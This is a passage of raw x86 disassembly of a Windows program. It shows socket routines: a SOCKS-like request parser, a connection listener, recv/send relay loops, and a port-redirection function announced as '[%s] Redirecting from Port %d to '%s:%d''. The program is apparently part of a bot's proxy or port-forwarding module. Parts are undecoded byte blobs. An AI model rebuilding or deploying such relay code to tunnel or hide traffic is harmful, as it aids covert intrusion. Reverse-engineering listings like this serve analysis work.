ecx, [esp+52Ch+var_504] push eax push 0 push 0 push ecx push 1 mov [esp+540h+var_500], 0FFFFFFFFh mov [esp+540h+var_504], 1 call near ptr 71AB2DC0h nop push 0 push 0 push 0 lea edx, [esp+538h+var_400] push 3FFh push edx push edi nop call near ptr 71AB2D0Fh push 10h mov esi, eax push ebx push 0 lea eax, [esp+538h+var_400] push esi push eax push 0FFFFFFFFh call ebp ; sendto test esi, esi jbe short loc_42A766 cmp esi, 0FFFFFFFFh jnz short loc_42A709 loc_42A766: ; CODE XREF: sub_42A5F0+16Fj mov esi, dword_50FC88 push edi call esi ; closesocket push 0FFFFFFFFh call esi ; closesocket pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 51Ch retn 0Ch ; --------------------------------------------------------------------------- loc_42A782: ; CODE XREF: sub_42A5F0+35j ; sub_42A5F0+86j ... pop edi pop esi pop ebp xor al, al pop ebx add esp, 51Ch retn 0Ch sub_42A5F0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42A810 proc near ; CODE XREF: sub_42B2D0:loc_4013A2j var_82C = dword ptr -82Ch var_828 = dword ptr -828h var_824 = dword ptr -824h var_820 = dword ptr -820h var_81C = byte ptr -81Ch var_81A = word ptr -81Ah var_818 = dword ptr -818h var_80C = dword ptr -80Ch var_808 = dword ptr -808h var_7E8 = dword ptr -7E8h var_7E4 = dword ptr -7E4h var_708 = byte ptr -708h var_707 = byte ptr -707h var_705 = dword ptr -705h var_604 = word ptr -604h var_600 = dword ptr -600h var_5F0 = byte ptr -5F0h var_200 = byte ptr -200h var_100 = byte ptr -100h arg_0 = dword ptr 4 sub esp, 82Ch push ebx push ebp push esi mov esi, [esp+838h+arg_0] cmp esi, 0FFFFFFFFh push edi mov ebp, ecx mov [esp+83Ch+var_828], 0 mov [esp+83Ch+var_82C], 0Bh mov [esp+83Ch+var_808], esi mov [esp+83Ch+var_80C], 1 jz loc_42AACA mov eax, [ebp-8] mov ecx, [eax+4] mov ax, [ecx+ebp-2] cmp ax, 1 jnz loc_42ABE6 mov edi, dword_50FC80 lea edx, [esp+83Ch+var_82C] push edx push 0 lea eax, [esp+844h+var_80C] push 0 push eax push 1 call edi ; select test eax, eax jle loc_42AC73 lea ecx, [esp+83Ch+var_80C] push ecx push esi call sub_436F60 ; --------------------------------------------------------------------------- dd 840FC085h, 3E3h, 16A066Ah, 0E890026Ah, 716892F5h, 89FFF883h dd 0F1C2444h, 22184h, 901D8B00h, 6A0050FCh, 24948D00h dd 240h, 5652026Ah, 0BC80D3FFh, 23C24h, 850F0500h, 1FEh dd 2484BE0Fh, 23Dh, 948DC933h, 23C24h, 248C8900h, 23Ch dd 40248C89h, 66000002h, 44248C89h, 51000002h, 88565250h dd 256248Ch, 0D3FF0000h, 26A006Ah, 44534468h, 0E8905600h dd 7168997Ah, 1024448Dh, 30244C8Dh, 6A006A50h, 16A5100h dd 282444C7h, 0 ; --------------------------------------------------------------------------- mov [esp+82Ch+var_808], 7 mov [esp+82Ch+var_7E4], esi mov [esp+82Ch+var_7E8], 1 call edi ; select xor eax, eax lea edx, [esp+82Ch+var_5F0] push eax mov ecx, 20h lea edi, [esp+830h+var_5F0] push 2 push edx push esi rep stosd call ebx ; socket cmp byte ptr [esp+83Ch+var_600], 1 jnz loc_42AACA movsx eax, byte ptr [esp+83Ch+var_600+1] push 0 lea ecx, [esp+840h+var_200] push eax push ecx push esi call ebx ; socket movsx edx, byte ptr [esp+83Ch+var_600+1] push 0 lea eax, [esp+840h+var_600] push 1 push eax push esi mov [esp+edx+84Ch+var_200], 0 call ebx ; socket movsx ecx, byte ptr [esp+83Ch+var_600] push 0 lea edx, [esp+840h+var_100] push ecx push edx push esi call ebx ; socket movsx eax, byte ptr [esp+83Ch+var_600] mov ecx, [ebp-8] mov [esp+eax+83Ch+var_100], 0 mov ecx, [ecx+4] add ecx, ebp call sub_4017E4 mov edi, eax lea ecx, [esp+83Ch+var_200] loc_42A9DB: ; CODE XREF: sub_42A810+1E9j mov dl, [ecx] mov al, dl cmp dl, [edi] jnz short loc_42A9FF test al, al jz short loc_42A9FB mov dl, [ecx+1] mov al, dl cmp dl, [edi+1] jnz short loc_42A9FF add ecx, 2 add edi, 2 test al, al jnz short loc_42A9DB loc_42A9FB: ; CODE XREF: sub_42A810+1D5j xor eax, eax jmp short loc_42AA04 ; --------------------------------------------------------------------------- loc_42A9FF: ; CODE XREF: sub_42A810+1D1j ; sub_42A810+1DFj sbb eax, eax sbb eax, 0FFFFFFFFh loc_42AA04: ; CODE XREF: sub_42A810+1EDj test eax, eax jz short loc_42AA61 mov eax, [ebp-8] mov ecx, [eax+4] lea ecx, [ecx+ebp+15h] call sub_4017E4 lea edi, [esp+83Ch+var_100] loc_42AA1E: ; CODE XREF: sub_42A810+22Cj mov dl, [edi] mov cl, dl cmp dl, [eax] jnz short loc_42AA42 test cl, cl jz short loc_42AA3E mov dl, [edi+1] mov cl, dl cmp dl, [eax+1] jnz short loc_42AA42 add edi, 2 add eax, 2 test cl, cl jnz short loc_42AA1E loc_42AA3E: ; CODE XREF: sub_42A810+218j xor eax, eax jmp short loc_42AA47 ; --------------------------------------------------------------------------- loc_42AA42: ; CODE XREF: sub_42A810+214j ; sub_42A810+222j sbb eax, eax sbb eax, 0FFFFFFFFh loc_42AA47: ; CODE XREF: sub_42A810+230j test eax, eax jz short loc_42AA61 push esi nop call near ptr 71AB9639h pop edi pop esi pop ebp xor al, al pop ebx add esp, 82Ch retn 4 ; --------------------------------------------------------------------------- loc_42AA61: ; CODE XREF: sub_42A810+1F6j ; sub_42A810+239j mov edi, dword_50FC8C push 0 push 2 push offset dword_445340 push esi call edi ; send lea eax, [esp+83Ch+var_82C] lea ecx, [esp+83Ch+var_80C] push eax push 0 push 0 push ecx push 1 mov [esp+850h+var_808], esi mov [esp+850h+var_80C], 1 call near ptr 71AB2DC0h nop lea edx, [esp+83Ch+var_80C] push edx push esi call sub_436F60 ; --------------------------------------------------------------------------- test eax, eax jz short loc_42AACA push 0 lea eax, [esp+840h+var_708] push 4 push eax push esi call ebx ; socket mov eax, [esp+83Ch+var_705] and eax, 0FFh dec eax jz short loc_42AB31 sub eax, 2 jz short loc_42AAD9 dec eax loc_42AAC8: ; CODE XREF: sub_42A810+31Fj jnz short loc_42AB40 loc_42AACA: ; CODE XREF: sub_42A810+32j ; sub_42A810+154j ... pop edi pop esi pop ebp xor al, al pop ebx add esp, 82Ch retn 4 ; --------------------------------------------------------------------------- loc_42AAD9: ; CODE XREF: sub_42A810+2B5j push 0 lea ecx, [esp+840h+var_600] push 1 push ecx push esi call ebx ; socket movsx edx, byte ptr [esp+83Ch+var_600] push 0 lea eax, [esp+840h+var_705+1] push edx push eax push esi call ebx ; socket movsx ecx, byte ptr [esp+83Ch+var_600] lea edx, [esp+83Ch+var_600] lea eax, [esp+83Ch+var_705+1] mov byte ptr [esp+ecx+83Ch+var_705+1], 0 mov ecx, [ebp-8] push edx push eax mov edx, [ecx+4] lea ecx, [edx+ebp-8] call sub_40174E test al, al jmp short loc_42AAC8 ; --------------------------------------------------------------------------- loc_42AB31: ; CODE XREF: sub_42A810+2B0j push 0 lea eax, [esp+840h+var_600] push 4 push eax push esi call ebx ; socket loc_42AB40: ; CODE XREF: sub_42A810:loc_42AAC8j push 0 lea ecx, [esp+840h+var_604] push 2 push ecx push esi call ebx ; socket cmp [esp+83Ch+var_707], 1 jnz loc_42AACA mov ebx, [esp+83Ch+var_820] mov dx, [esp+83Ch+var_604] mov eax, [esp+83Ch+var_600] lea ecx, [esp+83Ch+var_81C] push 10h push ecx push ebx mov word ptr [esp+848h+var_81C], 2 mov [esp+848h+var_81A], dx mov [esp+848h+var_818], eax nop call near ptr 71AB406Ah test eax, eax jnz loc_42AACA push eax push 4 push offset dword_445338 push esi call edi ; send push 0 lea edx, [esp+840h+var_600] push 4 push edx push esi call edi ; send push 0 lea eax, [esp+840h+var_604] push 2 push eax push esi call edi ; send mov ecx, [ebp-8] push ebx push esi mov edx, [ecx+4] lea ecx, [edx+ebp-8] call sub_4020C2 push ebx nop call near ptr 71AB9639h pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 82Ch retn 4 ; --------------------------------------------------------------------------- loc_42ABE6: ; CODE XREF: sub_42A810+47j cmp ax, 2 jnz loc_42AC73 mov ebx, dword_50FC80 loc_42ABF6: ; CODE XREF: sub_42A810+461j lea eax, [esp+83Ch+var_82C] lea ecx, [esp+83Ch+var_80C] push eax push 0 push 0 push ecx push 1 mov [esp+850h+var_808], esi mov [esp+850h+var_80C], 1 call ebx ; select lea edx, [esp+83Ch+var_824] lea eax, [esp+83Ch+var_81C] push edx push eax push 0 lea ecx, [esp+848h+var_600] push 3FFh push ecx push esi mov [esp+854h+var_824], 10h nop call near ptr 71AB2D0Fh mov ecx, [ebp-8] mov edi, eax lea edx, [esp+83Ch+var_600] push edi push edx mov edx, [ecx+4] lea eax, [esp+844h+var_81C] push eax lea ecx, [edx+ebp-8] call sub_401C1C test edi, edi jz short loc_42AC73 cmp edi, 0FFFFFFFFh jz short loc_42AC73 lea eax, [esp+83Ch+var_80C] push eax push esi call sub_436F60 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_42ABF6 loc_42AC73: ; CODE XREF: sub_42A810+67j ; sub_42A810+3DAj ... pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 82Ch retn 4 sub_42A810 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 120h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42ADB0 proc near ; CODE XREF: sub_401F19j var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch sub esp, 10h push esi mov esi, ecx mov eax, [esi+32h] test eax, eax jz short loc_42ADC4 xor al, al pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_42ADC4: ; CODE XREF: sub_42ADB0+Bj xor eax, eax mov ax, [esi+6] dec eax jz short loc_42ADD6 dec eax jz short loc_42ADF8 mov word ptr [esi+6], 1 loc_42ADD6: ; CODE XREF: sub_42ADB0+1Bj mov eax, 1 mov ecx, 6 loc_42ADE0: ; CODE XREF: sub_42ADB0+52j push ecx push eax push 2 nop call near ptr 71AB3B91h test eax, eax mov [esi+32h], eax jnz short loc_42AE04 xor al, al pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_42ADF8: ; CODE XREF: sub_42ADB0+1Ej mov eax, 2 mov ecx, 11h jmp short loc_42ADE0 ; --------------------------------------------------------------------------- loc_42AE04: ; CODE XREF: sub_42ADB0+3Fj mov ax, [esi+4] mov [esp+14h+var_10], 2 push eax mov [esp+18h+var_C], 0 nop call near ptr 71AB2B66h mov edx, [esi+32h] lea ecx, [esp+14h+var_10] push 10h push ecx push edx mov [esp+20h+var_E], ax nop call near ptr 71AB3E00h test eax, eax jz short loc_42AE49 mov eax, [esi+32h] push eax nop call near ptr 71AB9639h xor al, al pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_42AE49: ; CODE XREF: sub_42ADB0+86j cmp word ptr [esi+6], 1 jnz short loc_42AE71 mov ecx, [esi+32h] push 3 push ecx nop call near ptr 71AB88D3h test eax, eax jz short loc_42AE71 mov edx, [esi+32h] push edx nop call near ptr 71AB9639h xor al, al pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_42AE71: ; CODE XREF: sub_42ADB0+9Ej ; sub_42ADB0+AEj mov al, 1 pop esi add esp, 10h retn sub_42ADB0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42AEC0 proc near ; CODE XREF: sub_401DBBj var_24 = byte ptr -24h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset SEH_42AEC0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push ebx push esi push edi mov edi, ecx mov [ebp+var_10], esp mov ax, [edi+6] cmp ax, 1 jnz short loc_42AF5A mov eax, [edi+32h] mov [ebp+var_14], 10h test eax, eax jz short loc_42AF41 mov ebx, dword_50FC84 lea ecx, [ebp+var_14] lea edx, [ebp+var_24] push ecx push edx push eax call ebx ; accept mov esi, eax test esi, esi jnz short loc_42AF26 loc_42AF12: ; CODE XREF: sub_42AEC0+64j mov edx, [edi+32h] lea eax, [ebp+var_14] lea ecx, [ebp+var_24] push eax push ecx push edx call ebx ; accept mov esi, eax test esi, esi jz short loc_42AF12 loc_42AF26: ; CODE XREF: sub_42AEC0+50j mov eax, [edi] push esi mov ecx, edi mov [ebp+var_4], 0 call dword ptr [eax] push esi mov bl, al nop call near ptr 71AB9639h test bl, bl jnz short loc_42AF7A loc_42AF41: ; CODE XREF: sub_42AEC0+39j ; sub_42AEC0+9Ej ... xor al, al mov ecx, [ebp+var_C] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- loc_42AF54: ; DATA XREF: ___:00441F74o mov eax, offset loc_42AF41 retn ; --------------------------------------------------------------------------- loc_42AF5A: ; CODE XREF: sub_42AEC0+2Bj cmp ax, 2 jnz short loc_42AF41 mov eax, [edi+32h] mov edx, [edi] push eax mov ecx, edi call dword ptr [edx] mov ecx, [edi+32h] mov bl, al push ecx nop call near ptr 71AB9639h test bl, bl jz short loc_42AF41 loc_42AF7A: ; CODE XREF: sub_42AEC0+7Fj mov ecx, [ebp+var_C] pop edi pop esi mov al, 1 mov large fs:0, ecx pop ebx mov esp, ebp pop ebp retn sub_42AEC0 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_42AFD0: ; CODE XREF: ___:00401F78j push ebp mov ebp, esp push 0FFFFFFFFh push offset loc_43BB90 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ebx push esi mov esi, [ebp+8] push edi mov [ebp-10h], esp mov dword ptr [ebp-4], 0 mov eax, [esi] mov ecx, [eax+4] mov eax, [ecx+esi+32h] add ecx, esi push eax mov edx, [ecx] call dword ptr [edx] mov ecx, [esi] mov edx, [ecx+4] mov eax, [edx+esi+32h] push eax nop call near ptr 71AB9639h loc_42B019: ; DATA XREF: ___:loc_42B031o mov ecx, [ebp-0Ch] pop edi pop esi mov eax, 1 mov large fs:0, ecx pop ebx mov esp, ebp pop ebp retn 4 ; --------------------------------------------------------------------------- loc_42B031: ; DATA XREF: ___:00441FD4o mov eax, offset loc_42B019 retn ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42B060 proc near ; CODE XREF: sub_401C17j var_19C = byte ptr -19Ch var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_4 = byte ptr 8 arg_1C = byte ptr 20h push 0FFFFFFFFh push offset SEH_42B060 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 194h lea eax, [esp+1A0h+var_19C] mov [esp+1A0h+var_4], 1 push eax push 2 call near ptr 71AB664Dh nop test eax, eax jz short loc_42B0D7 loc_42B097: ; CODE XREF: ___:0042B166j lea ecx, [esp+1A0h+arg_4] mov byte ptr [esp+1A0h+var_4], 0 call sub_401226 lea ecx, [esp+1A0h+arg_1C] mov [esp+1A0h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+1A0h+var_C] mov large fs:0, ecx add esp, 1A0h retn ; --------------------------------------------------------------------------- loc_42B0D7: ; CODE XREF: sub_42B060+35j push 42h call sub_4367FA sub_42B060 endp ; --------------------------------------------------------------------------- add esp, 4 mov [esp+0], eax test eax, eax mov byte ptr [esp+19Ch], 2 jz short loc_42B0FC push 1 mov ecx, eax call sub_4014E7 jmp short loc_42B0FE ; --------------------------------------------------------------------------- loc_42B0FC: ; CODE XREF: ___:0042B0EFj xor eax, eax loc_42B0FE: ; CODE XREF: ___:0042B0FAj mov dword_50E3D8, eax mov ecx, [eax] mov byte ptr [esp+19Ch], 1 mov edx, [ecx+4] mov cx, [esp+1A4h] mov [edx+eax+4], cx mov eax, dword_50E3D8 lea edx, [esp+1A8h] mov ecx, [eax] push edx mov edx, [ecx+4] lea ecx, [edx+eax+8] call sub_40200E lea eax, [esp+1C0h] push eax mov eax, dword_50E3D8 mov ecx, [eax] mov edx, [ecx+4] lea ecx, [edx+eax+1Dh] call sub_40200E mov eax, dword_50E3D8 mov ecx, [eax] mov ecx, [ecx+4] add ecx, eax call sub_401F19 test al, al jz loc_42B097 loc_42B16C: ; CODE XREF: ___:0042B17Dj mov eax, dword_50E3D8 mov edx, [eax] mov ecx, [edx+4] add ecx, eax call sub_401DBB jmp short loc_42B16C ; --------------------------------------------------------------------------- db 90h db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42B1D0 proc near ; CODE XREF: sub_4014E7j var_4 = dword ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [esp+4+arg_0] push esi test eax, eax mov esi, ecx mov [esp+8+var_4], 0 jz short loc_42B1F2 lea ecx, [esi+8] mov dword ptr [esi], offset dword_43E190 call sub_4014AB loc_42B1F2: ; CODE XREF: sub_42B1D0+12j mov eax, [esi] mov ecx, [eax+4] mov dword ptr [ecx+esi], offset off_43E18C mov edx, [esi] mov eax, [edx+4] lea ecx, [eax-8] mov [eax+esi-4], ecx mov eax, esi pop esi pop ecx retn 4 sub_42B1D0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42B240 proc near ; CODE XREF: sub_4014ABj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_42B240 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+8] call sub_401424 lea ecx, [esi+1Dh] mov [esp+14h+var_4], 0 call sub_401424 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43E19C mov dword ptr [esi+32h], 0 mov word ptr [esi+6], 1 mov word ptr [esi+4], 0 mov dword ptr [esi+36h], 1000h mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_42B240 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42B2D0 proc near ; CODE XREF: sub_4020D1j ; FUNCTION CHUNK AT 004013A2 SIZE 00000005 BYTES sub ecx, [ecx-4] jmp loc_4013A2 sub_42B2D0 endp ; --------------------------------------------------------------------------- align 10h loc_42B2E0: ; CODE XREF: ___:00401352j push 0FFFFFFFFh push offset loc_43BC08 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+4], esi call sub_401F82 push offset off_443D80 lea ecx, [esi+11h] mov dword ptr [esp+14h], 0 mov dword ptr [esi], offset off_43E1A0 call sub_4015D7 mov ecx, [esp+8] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42B350 proc near ; CODE XREF: ___:00401398j sub_401F41j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_4011BD test [esp+4+arg_0], 1 jz short loc_42B368 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_42B368: ; CODE XREF: sub_42B350+Dj mov eax, esi pop esi retn 4 sub_42B350 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_42B380 proc near ; CODE XREF: sub_4011BDj jmp sub_40179E sub_42B380 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42B3A0 proc near ; CODE XREF: sub_40134Dj var_10 = byte ptr -10h mov eax, 1000h call sub_436840 push ebx push ebp push esi mov esi, ecx push edi mov eax, [esi+99h] mov cl, [eax+11Ch] test cl, cl jz short loc_42B42C mov ebx, dword_50FC90 mov ebp, dword_50FC8C loc_42B3CC: ; CODE XREF: sub_42B3A0+8Aj mov edx, [esi+9Dh] mov ecx, 400h xor eax, eax lea edi, [esp+10h] rep stosd push eax mov eax, [edx+0A5h] lea ecx, [esp+14h] push 1000h push ecx push eax call ebx ; recv test eax, eax jz short loc_42B42C cmp eax, 0FFFFFFFFh jz short loc_42B42C mov edx, [esi+9Dh] push 0 push eax lea ecx, [esp+28h+var_10] mov eax, [edx+0A1h] push ecx push eax call ebp ; send test eax, eax jz short loc_42B42C cmp eax, 0FFFFFFFFh jz short loc_42B42C mov ecx, [esi+99h] mov al, [ecx+11Ch] test al, al jnz short loc_42B3CC loc_42B42C: ; CODE XREF: sub_42B3A0+1Ej ; sub_42B3A0+55j ... mov edx, [esi+9Dh] pop edi pop esi pop ebp mov eax, [edx+0A1h] pop ebx cmp eax, 0FFFFFFFFh jz short loc_42B448 push eax call near ptr 71AB9639h nop loc_42B448: ; CODE XREF: sub_42B3A0+9Fj add esp, 1000h retn sub_42B3A0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42B480 proc near ; CODE XREF: sub_401663j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_42B480 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401F82 push offset off_443D80 lea ecx, [esi+11h] mov [esp+18h+var_4], 0 mov dword ptr [esi], offset off_43E1B0 call sub_4015D7 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_42B480 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42B4F0 proc near ; CODE XREF: ___:004013A7j sub_401B22j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_401217 test [esp+4+arg_0], 1 jz short loc_42B508 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_42B508: ; CODE XREF: sub_42B4F0+Dj mov eax, esi pop esi retn 4 sub_42B4F0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_42B520 proc near ; CODE XREF: sub_401217j jmp sub_40179E sub_42B520 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42B540 proc near ; CODE XREF: sub_40152Dj var_50 = byte ptr -50h var_40 = byte ptr -40h var_30 = byte ptr -30h var_28 = dword ptr -28h var_20 = byte ptr -20h var_1C = dword ptr -1Ch var_C = byte ptr -0Ch var_A = word ptr -0Ah var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 mov eax, 1014h call sub_436840 push ebx push ebp push esi mov esi, ecx push edi or edi, 0FFFFFFFFh mov eax, [esi+99h] mov [esi+0A5h], edi mov cl, [eax+11Ch] test cl, cl jz loc_42B70A mov ebx, 1 push 6 push ebx push 2 call near ptr 71AB3B91h nop cmp eax, edi mov [esi+0A5h], eax jnz short loc_42B598 mov [esi+0A5h], edi pop edi pop esi pop ebp pop ebx add esp, 1014h retn ; --------------------------------------------------------------------------- loc_42B598: ; CODE XREF: sub_42B540+45j mov dx, [esi+3Fh] xor ecx, ecx mov [esp+1Ch+var_8], ecx push edx mov [esp+20h+var_4], ecx mov word ptr [esp+20h+var_8], 2 mov [esp+20h], ecx mov [esp+20h+arg_0], ecx nop call near ptr 71AB2B66h lea ecx, [esi+43h] mov [esp+20h+var_A], ax call sub_4017E4 push eax call sub_40187F add esp, 4 cmp eax, edi mov [esp+20h+var_8], eax jnz short loc_42B5F2 mov eax, [esi+0A5h] push eax nop call near ptr 71AB9639h pop edi pop esi pop ebp pop ebx add esp, 1014h retn ; --------------------------------------------------------------------------- loc_42B5F2: ; CODE XREF: sub_42B540+98j mov edx, [esi+0A5h] lea ecx, [esp+20h+var_C] push 10h push ecx push edx nop call near ptr 71AB406Ah cmp eax, edi jnz short loc_42B622 mov eax, [esi+0A5h] push eax call near ptr 71AB9639h nop pop edi pop esi pop ebp pop ebx add esp, 1014h retn ; --------------------------------------------------------------------------- loc_42B622: ; CODE XREF: sub_42B540+C8j mov edx, [esi+0A1h] mov edi, dword_50FC50 lea ecx, [esp+2Ch+var_1C] mov [esp+2Ch+var_1C], ebx push ecx push 8004667Eh push edx call edi ; ioctlsocket mov ecx, [esi+0A5h] lea eax, [esp+38h+var_28] push eax push 8004667Eh push ecx mov [esp+44h+var_28], ebx call edi ; ioctlsocket mov edx, [esi+99h] mov al, [edx+11Ch] test al, al jz loc_42B70A mov ebx, dword_50FC90 mov ebp, dword_50FC8C loc_42B676: ; CODE XREF: sub_42B540+1BAj mov ecx, [esi+0A5h] push 0 lea eax, [esp+48h+var_20] push 1000h push eax push ecx call ebx ; recv mov edi, eax test edi, edi jz short loc_42B70A jge short loc_42B6A0 nop call near ptr 71AB94DCh cmp eax, 2733h jnz short loc_42B702 loc_42B6A0: ; CODE XREF: sub_42B540+151j mov eax, [esi+0A1h] push 0 lea edx, [esp+58h+var_30] push edi push edx push eax call ebp ; send mov edx, [esi+0A1h] push 0 lea ecx, [esp+68h+var_40] push 1000h push ecx push edx call ebx ; recv mov edi, eax test edi, edi jz short loc_42B70A jge short loc_42B6DB nop call near ptr 71AB94DCh cmp eax, 2733h jnz short loc_42B702 loc_42B6DB: ; CODE XREF: sub_42B540+18Cj mov ecx, [esi+0A5h] push 0 lea eax, [esp+78h+var_50] push edi push eax push ecx call ebp ; send mov edx, [esi+99h] mov al, [edx+11Ch] test al, al jnz loc_42B676 jmp short loc_42B70A ; --------------------------------------------------------------------------- loc_42B702: ; CODE XREF: sub_42B540+15Ej ; sub_42B540+199j push 0Ah nop call near ptr 28302E5h loc_42B70A: ; CODE XREF: sub_42B540+27j ; sub_42B540+124j ... mov eax, [esi+0A1h] mov edi, dword_50FC88 cmp eax, 0FFFFFFFFh jz short loc_42B71E push eax call edi ; closesocket loc_42B71E: ; CODE XREF: sub_42B540+1D9j mov esi, [esi+0A5h] cmp esi, 0FFFFFFFFh jz short loc_42B72C push esi call edi ; closesocket loc_42B72C: ; CODE XREF: sub_42B540+1E7j pop edi pop esi pop ebp pop ebx add esp, 1014h retn sub_42B540 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 9 dup(90h) db 80h dup(0CCh) db 6Ah ; j db 0FFh db 68h ; h db 48h ; H db 0BCh ; ¼ db 43h ; C db 0 db 64h ; d db 0A1h ; ¡ db 0 db 0 db 0 db 0 db 50h ; P db 64h ; d db 89h ; ‰ db 25h ; % db 0 db 0 db 0 db 0 db 51h ; Q db 56h ; V db 8Bh ; ‹ db 0F1h ; ñ db 89h ; ‰ db 74h ; t db 24h ; $ db 4 db 0E8h ; è db 0A0h ; db 67h ; g db 0FDh ; ý db 0FFh db 68h ; h db 80h ; € db 3Dh ; = db 44h ; D db 0 db 8Dh ; db 4Eh ; N db 11h db 0C7h ; Ç db 44h ; D db 24h ; $ db 14h db 0 db 0 db 0 db 0 db 0C7h ; Ç db 6 db 0C0h ; À db 0E1h ; á db 43h ; C db 0 db 0E8h ; è db 0DAh ; Ú db 5Dh ; ] db 0FDh ; ý db 0FFh db 8Bh ; ‹ db 4Ch ; L db 24h ; $ db 8 db 8Bh ; ‹ db 0C6h ; Æ db 5Eh ; ^ db 64h ; d db 89h ; ‰ db 0Dh db 0 db 0 db 0 db 0 db 83h ; ƒ db 0C4h ; Ä db 10h db 0C3h ; Ã db 90h db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42B830: ; CODE XREF: ___:loc_4015F0j ; ___:00401FAAj push esi mov esi, ecx call sub_401B8B test byte ptr [esp+8], 1 jz short loc_42B848 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_42B848: ; CODE XREF: ___:0042B83Dj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_42B860 proc near ; CODE XREF: sub_401B8Bj jmp sub_40179E sub_42B860 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42B880 proc near ; CODE XREF: sub_4019E2j var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_C = dword ptr -0Ch var_4 = dword ptr -4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_42B880 push eax mov large fs:0, esp sub esp, 28h push ebx push ebp push esi mov esi, ecx push edi mov eax, [esi+3Fh] lea ebx, [esi+43h] push eax mov ecx, ebx lea edi, [esi+11h] lea ebp, [esi+26h] call sub_4017E4 mov ecx, [esi+3Bh] push eax push ecx mov ecx, edi call sub_4017E4 push eax push offset aSRedirectingFr ; "[%s] Redirecting from Port %d to '%s:%d"... mov ecx, ebp call sub_4014D3 mov dl, [esi+98h] push eax mov al, [esi+97h] push edx push eax push offset byte_4D60B5 call sub_401848 add esp, 24h push 6 push 1 push 2 call near ptr 71AB3B91h nop cmp eax, 0FFFFFFFFh mov [esi+9Dh], eax jz loc_42BAB8 mov dx, [esi+3Bh] xor ecx, ecx mov [esp+44h+var_2C], ecx push edx mov [esp+48h+var_28], ecx mov word ptr [esp+48h+var_2C], 2 mov [esp+48h+var_24], ecx mov [esp+48h+var_20], ecx nop call near 